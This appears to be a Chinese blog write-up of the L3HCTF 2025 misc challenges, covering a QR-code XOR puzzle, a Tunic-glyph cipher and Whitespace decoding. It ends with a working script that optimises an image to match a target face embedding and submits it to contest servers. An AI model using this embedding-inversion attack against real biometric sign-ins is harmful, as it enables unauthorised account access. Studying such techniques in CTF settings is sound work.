Featured image of post L3HCTF 2025 misc wp

L3HCTF 2025 misc wp

也是非常菜,只做出来第一道题,赛后跟着wp复现一下其他题目

量子双生影

解压出webp文件,是ai处理过的二维码,写脚本转换成黑白

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from PIL import Image

def rgb_to_black_white(image_path, output_path="bw_output.png", threshold=128):
    img = Image.open(image_path).convert('RGB')
    pixels = img.load()

    for y in range(img.height):
        for x in range(img.width):
            r, g, b = pixels[x, y]
            brightness = 0.299 * r + 0.587 * g + 0.114 * b
            if brightness < threshold:
                pixels[x, y] = (0, 0, 0)
            else:
                pixels[x, y] = (255, 255, 255)

    img.save(output_path)
    print(f"已生成黑白图:{output_path}")

rgb_to_black_white("stream2.webp", "bw_output.png", threshold=128)

扫第二个二维码

flag is not here, but I can give you the key: "quantum"

观察发现第一个二维码好像两个二维码重叠起来了,结合提示,将两个二维码进行xor运算

L3HCTF{Quantum_ADS_XOR}

Why not read it out?

解压后的readme文件分析头尾是jpg,同时发现文件尾部还藏了数据==wdllmdlJFIOdUSgoDduFDa

h1nt: IGN Review

是图形编码,随波逐流没有查到,结合题目,也许是表音文字

比赛时死活没搜到,可能是没有裁剪图片的原因…

搜索发现是tunic这个游戏

搜索ign对这个游戏的评价Tunic Review - IGN,发现最开始两段话的标点符号和图片可以对应上

破解部分实在不会,看大佬wp得知是把元音辅音位置对调了,破解出来是这样

1
2
3
4
5
the content of flag is: come on little brave fox
replace letter o with number zero, letter l with number one
replace letter a with symbol at
make every letter e uppercase
use underline to link each word

L3HCTF{c0mE_0n_1itt1E_br@vE_f0x}

PaperBack

Someone thought paper could replace a CD. Turns out… they weren’t entirely wrong. Can you read between the dots? Btw, I really like OllyDbg.

根据提示搜索,发现这个工具

open bitmap打开题目的flag.bmp,输出一个ws文件,打开发现有很多空格

搜索发现是white space语言,Whitelips the Esoteric Language IDE解码获得flag

L3HCTF{welcome_to_l3hctf2025}

Please Sign In

这道题要求我们构造一张图像,使其和给定的embedding.json足够接近

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import torch, json, requests
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from torchvision.utils import save_image

# === 配置 ===
EMBEDDING_PATH = "embedding.json"
OUTPUT_IMAGE = "solved.png"
TARGET_URLS = [
    "http://1.95.8.146:50001/signin/",
    "http://1.95.34.119:50001/signin/",
    "http://43.138.2.216:50001/signin/"
]

# === 模型和预处理 ===
device = "cuda" if torch.cuda.is_available() else "cpu"
weights = ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1
model = shufflenet_v2_x1_0(weights=weights).to(device)
model.fc = torch.nn.Identity()
model.eval()

# === 加载目标 embedding ===
with open(EMBEDDING_PATH) as f:
    target = torch.tensor(json.load(f), dtype=torch.float32).unsqueeze(0).to(device)

# === 初始化随机图像(优化变量)===
img = torch.rand((1, 3, 224, 224), requires_grad=True, device=device)
opt = torch.optim.Adam([img], lr=0.05)

# === 优化图像 ===
for i in range(2000):
    opt.zero_grad()
    pred = model(img)
    loss = torch.mean((pred - target) ** 2)
    loss.backward()
    opt.step()
    img.data.clamp_(0, 1)  # 保持像素合法
    if i % 200 == 0 or loss.item() < 5e-6:
        print(f"[Step {i}] MSE loss = {loss.item():.8f}")
    if loss.item() < 5e-6:
        break

# === 保存图像 ===
save_image(img.detach().cpu(), OUTPUT_IMAGE)
print(f"攻击图像已保存: {OUTPUT_IMAGE}")

# === 提交图像到远程服务 ===
for url in TARGET_URLS:
    try:
        with open(OUTPUT_IMAGE, "rb") as f:
            res = requests.post(url, files={"file": f}, timeout=10)
            print(f"[{url}] 返回: {res.text}")
    except Exception as e:
        print(f"[{url}] 错误: {e}")

L3HCTF{f4c3_r3c0gn1t10n_15_n0t_s0_s3cur3_4ft3r_4ll}

Like 0
May you find your worth in the waking world.
使用 Hugo 构建
主题 StackJimmy 设计